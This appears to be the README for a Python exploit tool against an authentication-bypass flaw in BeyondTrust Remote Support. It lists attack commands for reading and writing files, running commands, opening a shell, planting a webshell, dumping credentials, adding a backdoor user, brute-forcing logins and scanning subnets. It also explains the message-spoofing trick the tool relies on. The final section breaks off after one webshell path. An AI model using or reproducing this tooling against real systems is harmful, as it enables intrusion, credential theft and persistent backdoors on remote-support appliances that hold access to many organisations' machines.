Python exploit for CVE-2026-102764 in BeyondTrust Remote Support: spoofs internal service messages to bypass authentication, then reads/writes files, executes commands, and dumps credentials.
Authentication Bypass by Spoofing Vulnerability
CVSS v3.1: 9.8 (CRITICAL) | CWE-290 | Active Exploitation (CISA BOD 26-04)
BeyondTrust Remote Support ≤ v26.2.3
Internal components of BeyondTrust Remote Support do not adequately validate the origin of messages. An attacker can spoof internal service messages to bypass authentication and perform file operations on the appliance (read, write, delete, list), execute commands, and more.
# Quick vulnerability test
python3 exploit.py <target_ip> test
# Enumerate files
python3 exploit.py <target_ip> list /
# Read a file
python3 exploit.py <target_ip> read /opt/beyondtrust/rbs/config/config.xml
# Write a file
python3 exploit.py <target_ip> write /tmp/test.txt "Hello World"
# Execute command
python3 exploit.py <target_ip> exec "id"
# Interactive shell
python3 exploit.py <target_ip> shell
# Upload file
python3 exploit.py <target_ip> upload /remote/path /local/path
# Download file
python3 exploit.py <target_ip> download /remote/path /local/path
# Create webshell
python3 exploit.py <target_ip> webshell
# Gather info
python3 exploit.py <target_ip> info
# Dump credentials
python3 exploit.py <target_ip> creds
# Add backdoor user
python3 exploit.py <target_ip> add-user rbs-backdoor Backdoor123!
# Brute force credentials
python3 exploit.py <target_ip> brute-force
# List active sessions
python3 exploit.py <target_ip> sessions
# Scan critical files
python3 exploit.py <target_ip> scan-files
| Flag | Description |
|---|---|
--port, -p | Target port (auto-detect by default) |
--no-ssl | Disable SSL/TLS |
--timeout, -t | Connection timeout (seconds) |
--retries, -r | Number of retries |
--service, -s | Spoofed service name |
--verbose, -v | Verbose output |
--json | JSON output |
--scan | Scan a subnet |
--output, -o | Output file |
python3 exploit.py --scan 192.168.1.0/24
The exploit works by crafting spoofed binary messages with the BeyondTrust internal protocol header:
+--------+--------+------+----------+--------+---------+
| Magic | Type | Flag | Length | SID | Checksum|
| 6 bytes| 1 byte | 1 byte| 4 bytes| 4 bytes| 4 bytes |
+--------+--------+------+----------+--------+---------+
| Payload (JSON) |
+--------------------------------------------------------------------+
The key trick is setting trusted: true and source_ip: "127.0.0.1" in the JSON payload, which tricks the appliance into accepting the message from an internal service.
After gaining access, use the built-in modules to:
/opt/beyondtrust/rbs/webapp/shell.php